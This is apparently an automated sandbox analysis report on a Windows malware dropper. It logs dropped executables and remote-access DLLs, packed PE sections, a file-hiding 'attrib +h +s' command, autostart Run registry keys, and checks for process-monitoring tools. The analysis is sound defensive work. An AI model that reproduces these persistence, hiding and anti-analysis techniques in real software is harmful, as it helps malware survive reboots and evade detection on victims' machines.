Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.cmdline"

Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe

Code function: 6_2_00007FF8A8AA6EE0 EntryPoint,LoadLibraryA,GetProcAddress,VirtualProtect,VirtualProtect,VirtualProtect,

6_2_00007FF8A8AA6EE0

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe

File created: C:\Users\Public\Netstat\__tmp_rar_sfx_access_check_4404468

Source: fde98a8d0b.exe.3.dr	Static PE information: real checksum: 0x2caf1f should be: 0x2c9c57
Source: random[2].exe.3.dr	Static PE information: real checksum: 0x1f4c52 should be: 0x1fe410
Source: random[1].exe.3.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: f7b3852b06.exe.3.dr	Static PE information: real checksum: 0x1b6453 should be: 0x1a94f6
Source: random[1].exe1.3.dr	Static PE information: real checksum: 0x1ceb69 should be: 0x1dabc0
Source: random[2].exe0.3.dr	Static PE information: real checksum: 0x0 should be: 0x6066
Source: random[3].exe.3.dr	Static PE information: real checksum: 0x1cccfc should be: 0x1d2879
Source: random[4].exe0.3.dr	Static PE information: real checksum: 0x1b6453 should be: 0x1a94f6
Source: random[4].exe1.3.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: db75e03f4b.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: random[3].exe0.3.dr	Static PE information: real checksum: 0x2caf1f should be: 0x2c9c57
Source: file.exe	Static PE information: real checksum: 0x2efd64 should be: 0x2f41c0
Source: 97d4b1071f.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x14b59
Source: random[1].exe0.3.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2efd64 should be: 0x2f41c0
Source: d188864e84.exe.3.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: a4439a2887.exe.3.dr	Static PE information: real checksum: 0x0 should be: 0x11353a
Source: cb947ba4b8.exe.3.dr	Static PE information: real checksum: 0x1f4c52 should be: 0x1fe410
Source: random[4].exe2.3.dr	Static PE information: real checksum: 0x0 should be: 0x324fc1
Source: f8645e1e85.exe.3.dr	Static PE information: real checksum: 0x1cccfc should be: 0x1d2879

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: uyplpdnx
Source: file.exe	Static PE information: section name: lxepjdzt
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: uyplpdnx
Source: skotes.exe.0.dr	Static PE information: section name: lxepjdzt
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: .idata
Source: random[1].exe.3.dr	Static PE information: section name:
Source: random[1].exe.3.dr	Static PE information: section name: uzxdwyvi
Source: random[1].exe.3.dr	Static PE information: section name: efzdldig
Source: random[1].exe.3.dr	Static PE information: section name: .taggant
Source: random[3].exe.3.dr	Static PE information: section name:
Source: random[3].exe.3.dr	Static PE information: section name: .idata
Source: random[3].exe.3.dr	Static PE information: section name:
Source: random[3].exe.3.dr	Static PE information: section name: speiiqif
Source: random[3].exe.3.dr	Static PE information: section name: suzusvsz
Source: random[3].exe.3.dr	Static PE information: section name: .taggant
Source: f8645e1e85.exe.3.dr	Static PE information: section name:
Source: f8645e1e85.exe.3.dr	Static PE information: section name: .idata
Source: f8645e1e85.exe.3.dr	Static PE information: section name:
Source: f8645e1e85.exe.3.dr	Static PE information: section name: speiiqif
Source: f8645e1e85.exe.3.dr	Static PE information: section name: suzusvsz
Source: f8645e1e85.exe.3.dr	Static PE information: section name: .taggant
Source: random[3].exe0.3.dr	Static PE information: section name:
Source: random[3].exe0.3.dr	Static PE information: section name: .idata
Source: random[3].exe0.3.dr	Static PE information: section name: ygtpparq
Source: random[3].exe0.3.dr	Static PE information: section name: zzjdxvxy
Source: random[3].exe0.3.dr	Static PE information: section name: .taggant
Source: fde98a8d0b.exe.3.dr	Static PE information: section name:
Source: fde98a8d0b.exe.3.dr	Static PE information: section name: .idata
Source: fde98a8d0b.exe.3.dr	Static PE information: section name: ygtpparq
Source: fde98a8d0b.exe.3.dr	Static PE information: section name: zzjdxvxy
Source: fde98a8d0b.exe.3.dr	Static PE information: section name: .taggant
Source: random[4].exe0.3.dr	Static PE information: section name:
Source: random[4].exe0.3.dr	Static PE information: section name: .idata
Source: random[4].exe0.3.dr	Static PE information: section name:
Source: random[4].exe0.3.dr	Static PE information: section name: efaooxfi
Source: random[4].exe0.3.dr	Static PE information: section name: covnxbgl
Source: random[4].exe0.3.dr	Static PE information: section name: .taggant
Source: d188864e84.exe.3.dr	Static PE information: section name:
Source: d188864e84.exe.3.dr	Static PE information: section name: .idata
Source: d188864e84.exe.3.dr	Static PE information: section name:
Source: d188864e84.exe.3.dr	Static PE information: section name: uzxdwyvi
Source: d188864e84.exe.3.dr	Static PE information: section name: efzdldig
Source: d188864e84.exe.3.dr	Static PE information: section name: .taggant
Source: f7b3852b06.exe.3.dr	Static PE information: section name:
Source: f7b3852b06.exe.3.dr	Static PE information: section name: .idata
Source: f7b3852b06.exe.3.dr	Static PE information: section name:
Source: f7b3852b06.exe.3.dr	Static PE information: section name: efaooxfi
Source: f7b3852b06.exe.3.dr	Static PE information: section name: covnxbgl
Source: f7b3852b06.exe.3.dr	Static PE information: section name: .taggant
Source: random[1].exe1.3.dr	Static PE information: section name:
Source: random[1].exe1.3.dr	Static PE information: section name: .idata
Source: random[1].exe1.3.dr	Static PE information: section name:
Source: random[1].exe1.3.dr	Static PE information: section name: xnuzvlhe
Source: random[1].exe1.3.dr	Static PE information: section name: tzuttanx
Source: random[1].exe1.3.dr	Static PE information: section name: .taggant
Source: random[2].exe.3.dr	Static PE information: section name:
Source: random[2].exe.3.dr	Static PE information: section name: .idata
Source: random[2].exe.3.dr	Static PE information: section name:
Source: random[2].exe.3.dr	Static PE information: section name: fhxxuwls
Source: random[2].exe.3.dr	Static PE information: section name: vzpihbtm
Source: random[2].exe.3.dr	Static PE information: section name: .taggant
Source: cb947ba4b8.exe.3.dr	Static PE information: section name:
Source: cb947ba4b8.exe.3.dr	Static PE information: section name: .idata
Source: cb947ba4b8.exe.3.dr	Static PE information: section name:
Source: cb947ba4b8.exe.3.dr	Static PE information: section name: fhxxuwls
Source: cb947ba4b8.exe.3.dr	Static PE information: section name: vzpihbtm
Source: cb947ba4b8.exe.3.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0027D91C push ecx; ret	0_2_0027D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00271359 push es; ret	0_2_0027135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_006AD91C push ecx; ret	2_2_006AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006E062C push 00000000h; ret	3_2_006E063C
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006E1296 push 00000000h; ret	3_2_006E1298
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006E1716 push 00000000h; ret	3_2_006E1718
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006AD91C push ecx; ret	3_2_006AD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_006ADFC6 push ecx; ret	3_2_006ADFD9
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A863A154 push rsp; ret	6_2_00007FF8A863A155
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8639193 push rdi; iretd	6_2_00007FF8A8639195
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A863A2D5 push rsp; retf	6_2_00007FF8A863A2D6
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A86392D4 push r10; retf	6_2_00007FF8A8639340
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8639BF2 push rsp; retf	6_2_00007FF8A8639BF3
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636C11 push r10; ret	6_2_00007FF8A8636C13
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636CDA push rdx; ret	6_2_00007FF8A8636CE1
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636CE6 push r12; ret	6_2_00007FF8A8636CE8
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636CBC push r8; ret	6_2_00007FF8A8636CC9
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A863A499 push rdx; ret	6_2_00007FF8A863A4F0
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8639D75 push rsp; iretq	6_2_00007FF8A8639D76
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A863854C push rbp; retf	6_2_00007FF8A8638565
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636DEB push rsp; ret	6_2_00007FF8A8636DF3
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8638597 push r12; ret	6_2_00007FF8A86385D3
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8638E56 push rbp; iretq	6_2_00007FF8A8638E57
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636E34 push rdi; iretd	6_2_00007FF8A8636E36
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8638EEE push r12; ret	6_2_00007FF8A8638F15
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636EC0 push r12; ret	6_2_00007FF8A8636EDE
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636EA6 push r10; retf	6_2_00007FF8A8636EA9
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636E8B push rsi; ret	6_2_00007FF8A8636E8C
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636E7C push rsp; iretd	6_2_00007FF8A8636E7D
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8638F43 push r12; iretd	6_2_00007FF8A8638F5A
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Code function: 6_2_00007FF8A8636F44 push r8; ret	6_2_00007FF8A8636F4C

Source: file.exe	Static PE information: section name: entropy: 7.986412821940457
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.986412821940457
Source: random[1].exe.3.dr	Static PE information: section name: entropy: 7.974324170155358
Source: random[1].exe.3.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: random[3].exe.3.dr	Static PE information: section name: entropy: 7.9808008709140585
Source: random[3].exe.3.dr	Static PE information: section name: speiiqif entropy: 7.953421574141461
Source: f8645e1e85.exe.3.dr	Static PE information: section name: entropy: 7.9808008709140585
Source: f8645e1e85.exe.3.dr	Static PE information: section name: speiiqif entropy: 7.953421574141461
Source: random[4].exe0.3.dr	Static PE information: section name: entropy: 7.822208608300262
Source: random[4].exe0.3.dr	Static PE information: section name: efaooxfi entropy: 7.952428212119931
Source: d188864e84.exe.3.dr	Static PE information: section name: entropy: 7.974324170155358
Source: d188864e84.exe.3.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: f7b3852b06.exe.3.dr	Static PE information: section name: entropy: 7.822208608300262
Source: f7b3852b06.exe.3.dr	Static PE information: section name: efaooxfi entropy: 7.952428212119931
Source: random[1].exe0.3.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: a4439a2887.exe.3.dr	Static PE information: section name: .text entropy: 7.73440914387992
Source: random[1].exe1.3.dr	Static PE information: section name: entropy: 7.983709808349382
Source: random[1].exe1.3.dr	Static PE information: section name: xnuzvlhe entropy: 7.953847578299681
Source: random[2].exe.3.dr	Static PE information: section name: entropy: 7.976124615911012
Source: random[2].exe.3.dr	Static PE information: section name: fhxxuwls entropy: 7.952193964481426
Source: cb947ba4b8.exe.3.dr	Static PE information: section name: entropy: 7.976124615911012
Source: cb947ba4b8.exe.3.dr	Static PE information: section name: fhxxuwls entropy: 7.952193964481426

Persistence and Installation Behavior

Uses attrib.exe to hide files

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\attrib.exe attrib +h +s "C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe"

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: reg.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe

Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	File created: C:\Users\Public\Netstat\TCCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017915001\712b285aaa.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\sqlite3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017921001\85070a414c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017906001\3b81e6737d.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\rar.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\m9sfEU9[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017920001\194df6b68b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	File created: C:\Users\Public\Netstat\msvcr100.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017913001\97d4b1071f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017899001\d0ef52de9f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	File created: C:\Users\Public\Netstat\remcmdstub.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\_sqlite3.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\D1UL0FG[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017903001\cb947ba4b8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017907001\90ddd682ad.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017911001\67fbb282d1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017905001\4dd01d90fc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	File created: C:\Users\Public\Netstat\FuturreApp.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	File created: C:\Users\Public\Netstat\PCICHEK.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017919001\b8dc7af2d8.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017855001\8ZVMneG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017910001\fde98a8d0b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017917001\7423465717.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[5].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017912001\f7b3852b06.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\8ZVMneG[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017904001\97bf9e137e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\_socket.pyd	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Users\user\AppData\Local\Temp\l2sopuet\l2sopuet.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	File created: C:\Users\Public\Netstat\HTCTL32.DLL	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017901001\a4439a2887.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017918001\d2256ee69b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017916001\UZAj8wc.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[4].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017908001\2c36247645.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\UZAj8wc[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\python310.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	File created: C:\Users\Public\Netstat\pcicapi.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017900001\d188864e84.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017853001\D1UL0FG.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI51602\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017909001\f8645e1e85.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017914001\db75e03f4b.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1017871001\m9sfEU9.exe	File created: C:\Users\Public\Netstat\PCICL32.DLL	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f8645e1e85.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 67fbb282d1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run fde98a8d0b.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f7b3852b06.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
